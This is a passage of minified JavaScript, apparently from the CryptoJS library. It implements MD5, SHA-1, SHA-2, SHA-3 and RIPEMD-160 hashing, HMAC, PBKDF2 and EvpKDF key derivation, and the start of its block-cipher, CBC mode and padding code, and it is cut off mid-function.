C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = 